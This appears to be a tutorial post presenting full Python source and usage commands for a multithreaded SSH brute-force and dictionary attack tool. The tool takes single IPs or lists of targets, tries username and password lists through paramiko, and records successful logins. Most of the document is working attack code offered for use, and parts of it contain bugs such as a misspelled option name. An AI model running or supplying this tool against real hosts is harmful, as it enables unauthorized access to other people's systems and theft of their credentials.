Create SSH BruteForcer in Python
In cryptography, a brute-force attacks consists of an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. The attackers systematically checks all possible passwords and passphrases until the correct one is found. Alternatively, the attackers can attempt to guess the key which is typically created from the password using a key derivation function. This is known as an exhaustive key searchs.
A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempts to decrypt any encrypted data (except for data encrypted in an information-theoretically secure manners). Such an attack might be used when it is not possible to take advantage of other weaknesses in an encryption systems (if any exist) that would make the task easier.
When password guessing, this method is very fast when used to check all short passwords, but for longer passwords other methods such as the dictionary attacks are used because a brute-force search takes too long. Longer passwords, passphrases and keys have more possible values, making them exponentially more difficult to crack than shorter one.
Simple multi threaded SSHBrute Forcer, Standard Brute Forcing and Dictonary based attacks.
Note: The brute force methods is really bad just trys random strings with different lengths. Also it will attempt to create a lot of threads if you say 1000 attempt it will create 1000 thread.. Why you might ask because no one should really ever use this feature.
Usage:
Single Ip Dictonary Attacks:
python SSHBruteForce.py -i 127.0.0.1 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt
Single Ip Dictonary Attack Specifying thread and timeout:
python SSHBruteForce.py -i 127.0.0.1 -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30
Multiple Ip Dictonary Attacks:
python SSHBruteForce.py -I ./targets.txt -d True -p 2222 -U ./usernames.txt -P ./passwords.txt -t 15 -T 30
Single Ip BruteForce Attacks:
python SSHBruteForce.py -i 127.0.0.1 -p 22 -a 100 -l 8
Multiple Ip BruteForce Attacks:
python SSHBruteForce.py -I targets.txt -p 22 -a 100 -l 8
Example of target.txt:
127.0.0.1:22
127.0.0.2:23
Example of username.txt:
Siddhartha
Hari
Elsam
Example of password.txt:
love
god
sex
secret
Here is the Code
#Connection.py
import sys
from threading import Thread
#Check For Paramiko Dependency
try:
from paramiko import SSHClient
from paramiko import AutoAddPolicy
except ImportError:
print 'Missing Paramiko Dependency.'
sys.exit(0)
class Connection (Thread):
'''
This is the class that checks if a specific
Username and password combination was successful.
'''
def __init__(self,username, password, targetIp, portNumber, timeoutTime):
super(Connection, self).__init__()
self.username = username
self.password = password
self.targetIp = targetIp
self.portNumber = portNumber
self.timeoutTime = timeoutTime
self.status = ""
def run(self):
sshConnection = SSHClient()
sshConnection.set_missing_host_key_policy(AutoAddPolicy())
try:
sshConnection.connect(self.targetIp, port = int(self.portNumber),
username = self.username,password = self.password,
timeout = int(self.timeoutTime), allow_agent = False,look_for_keys = False)
self.status = 'Succeeded'
sshConnection.close()
except:
self.status = 'Failed'
import sys
import random
from optparse import OptionParser
import Util
from Connection import Connection
class SSHBruteForce():
def __init__(self):
self.info = "Simple SSH Brute Forcer: By r4stl1n"
self.targetIp = ""
self.targetPort = 0
self.targets = []
self.usernames = []
self.passwords = []
self.connections = []
self.amountOfThreads = 0
self.currentThreadCount = 0
self.timeoutTime = 0
self.outputFileName = None
self.singleMode = False
self.verbose = False
self.bruteForceLength = 0
self.bruteForceAttempts = 0
self.bruteForceMode = False
self.characters = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def startUp(self):
usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
optionParser = OptionParser(version = self.info, usage = usage)
optionParser.add_option('-i', dest = 'targetIp',
help = 'Ip to attack')
optionParser.add_option('-p', dest = 'targetPort',
help = 'Ip port to attack', default = 22)
optionParser.add_option('-d', dest='typeOfAttack',
help = 'Dictionary Attack', default = False)
optionParser.add_option('-a', dest='attemptAmount',
help = "Number of attempts before stopping", default = 2)
optionParser.add_option('-l', dest='lengthLimit',
help = 'Length of bruteforce strings', default = 8)
optionParser.add_option('-I', dest = 'targetsFile',
help = 'List of IP\'s and ports')
optionParser.add_option('-C', dest = 'combolistFile',
help = 'Combo List file')
optionParser.add_option('-U', dest = 'usernamesFile',
help = 'Username List file')
optionParser.add_option('-P', dest = 'passwordsFile',
help = 'Password List file')
optionParser.add_option('-t', type = 'int', dest = 'threads',
help = 'Amount of Threads', default = 10)
optionParser.add_option('-T', type = 'int', dest = 'timeout',
help = 'Timeout Time', default = 15)
optionParser.add_option('-O', dest = "outputFile",
help = 'Output File Name', default = None)
optionParser.add_option('-v', '--verbose', action='store_true',
dest='verbose', help='verbose')
(options, args) = optionParser.parse_args()
#First a check is used to see if there is at least a singleIp set or a targetList set
if not options.targetIp and not options.targetsFile:
optionParser.print_help()
sys.exit(1)
else:
#Check to see if we are running a dictionary attack or a bruteforce
if bool(options.typeOfAttack) == True:
#Then another check to make sure the Username list and passwordlist are filled
if (options.usernamesFile and options.passwordsFile) or options.combolistFile:
#Then we check if it is a single ip only
if options.targetIp and not options.targetsFile:
self.singleMode = True
self.singleTarget(options)
elif not options.targetIp and options.targetsFile:
self.multipleTargets(options)
else:
optionParser.print_help()
sys.exit(1)
else:
optionParser.print_help()
sys.exit(1)
else:
#setup the brtue force
self.bruteForceMode = True
#Then we check if it is a single ip only
if options.targetIp and not options.targetsFile:
self.singleMode = True
self.singleTarget(options)
elif not options.targetIp and options.targetsFilet:
self.multipleTargets(options)
else:
optionParser.print_help()
sys.exit(1)
def singleTarget(self,options):
self.targetIp = options.targetIp
self.targetPort = options.targetPort
self.amountOfThreads = options.threads
self.timeoutTime = options.timeout
self.outputFileName = options.outputFile
self.verbose = options.verbose
self.bruteForceLength = options.lengthLimit
self.bruteForceAttempts = options.attemptAmount
if bool(options.typeOfAttack):
if options.combolistFile:
self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
else:
self.usernames = Util.fileContentsToList(options.usernamesFile)
self.passwords = Util.fileContentsToList(options.passwordsFile)
self.showStartInfo()
self.dictionaryAttackSingle()
else:
self.showStartInfo()
self.bruteForceSingle()
def multipleTargets(self,options):
self.targets = Util.fileContentsToTuple(options.targetsFile)
self.amountOfThreads = options.threads
self.timeoutTime = options.timeout
self.outputFileName = options.outputFile
self.verbose = options.verbose
self.bruteForceLength = options.lengthLimit
self.bruteForceAttempts = options.attemptAmount
if bool(options.typeOfAttack):
if options.combolistFile:
self.usernames, self.passwords = self.__seperateDataFromComboList(options.combolistFile)
else:
self.usernames = Util.fileContentsToList(options.usernamesFile)
self.passwords = Util.fileContentsToList(options.passwordsFile)
self.showStartInfo()
self.dictionaryAttackMultiple()
else:
self.showStartInfo()
self.bruteForceMultiple()
@staticmethod
def __seperateDataFromComboList(comboListFile):
usernames = []
passwords = []
for t in Util.fileContentsToTuple(comboListFile):
usernames.append(t[0])
passwords.append(t[1])
return usernames, passwords
def showStartInfo(self):
print "[*] %s " % self.info
if self.singleMode:
print "[*] Brute Forcing %s " % self.targetIp
else:
print "[*] Loaded %s Targets " % str(len(self.targets))
if self.bruteForceMode == False:
print "[*] Loaded %s Usernames " % str(len(self.usernames))
print "[*] Loaded %s Passwords " % str(len(self.passwords))
print "[*] Brute Force Starting "
if self.outputFileName is not None:
Util.appendLineToFile("%s " % self.info, self.outputFileName)
if self.singleMode:
Util.appendLineToFile("Brute Forcing %s " % self.targetIp, self.outputFileName)
else:
Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)), self.outputFileName)
Util.appendLineToFile("Loaded %s Usernames " % str(len(self.usernames)), self.outputFileName)
Util.appendLineToFile("Loaded %s Passwords " % str(len(self.passwords)), self.outputFileName)
Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
def dictionaryAttackSingle(self):
for username in self.usernames:
for password in self.passwords:
self.createConnection(username, password, self.targetIp,
self.targetPort, self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def dictionaryAttackMultiple(self):
for target in self.targets:
for username in self.usernames:
for password in self.passwords:
self.createConnection(username, password, target[0],
int(target[1]), self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def bruteForceSingle(self):
for x in range(int(self.bruteForceAttempts)):
randomUserString = ""
randomPasswordString = ""
randomStringLength = random.randint(4,int(self.bruteForceLength))
for y in range(randomStringLength):
randomUserString = randomUserString+random.choice(self.characters)
randomStringLength = random.randint(4,int(self.bruteForceLength))
for z in range(randomStringLength):
randomPasswordString = randomPasswordString + random.choice(self.characters)
self.createConnection(randomUserString, randomPasswordString, self.targetIp,
self.targetPort, self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def bruteForceMultiple(self):
for target in self.targets:
for x in range(self.bruteForceAttempts):
randomUserString = ""
randomPasswordString = ""
randomStringLength = random.randint(4,self.bruteForceLength)
for y in range(randomStringLength):
randomUserString = randomUserString+random.choice(self.characters)
randomStringLength = random.randint(4,self.bruteForceLength)
for z in range(randomStringLength):
randomPasswordString = randomPasswordString + random.choice(self.characters)
self.createConnection(randomUserString, randomPasswordString, target,
self.targetPort, self.timeoutTime)
if self.currentThreadCount == self.amountOfThreads:
self.currentThreadResults()
self.currentThreadResults()
def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
connection = Connection(username, password, targetIp, targetPort, timeoutTime)
connection.start()
self.connections.append(connection)
self.currentThreadCount += 1
if self.verbose:
print "[*] Adding Target: {0}, Testing with username: {1}, testing with password: {2}" .format(targetIp, username, password)
def currentThreadResults(self):
for connection in self.connections:
connection.join()
if connection.status == 'Succeeded':
print "[#] TargetIp: %s " % connection.targetIp
print "[#] Username: %s " % connection.username
print "[#] Password: %s " % connection.password
if self.outputFileName is not None:
Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
if self.singleMode:
self.completed()
else:
pass
self.clearOldThreads()
def clearOldThreads(self):
self.connections = []
self.threadCount = 0
def completed(self):
print "[*] Completed Brute Force."
sys.exit(0)
if __name__ == '__main__':
sshBruteForce = SSHBruteForce()
sshBruteForce.startUp()
print "[*] Brute Force Completed"
def fileContentsToList(fileName):
lineList = []
try:
fileParser = open(fileName, 'r')
except IOError:
print "[!] Could not open file %s " % fileName
except:
print "[!] Could not access file %s" % fileName
for line in fileParser.readlines():
newLine = line.replace('\n', '')
lineList.append(newLine)
return lineList
def fileContentsToTuple(fileName):
tupleList = []
try:
fileParser = open(fileName, 'r')
except IOError:
print "[!] Could not open file %s " % fileName
except:
print "[!] Could not access file %s" % fileName
for line in fileParser.readlines():
newLine = line.replace('\n', '')
newTuple = (newLine[:line.find(':')],newLine[line.find(':')+1:])
tupleList.append(newTuple)
return tupleList
def appendLineToFile(line,filename):
fileHandler = open(filename,"a+")
fileHandler.write(line + "\n")
fileHandler.close()
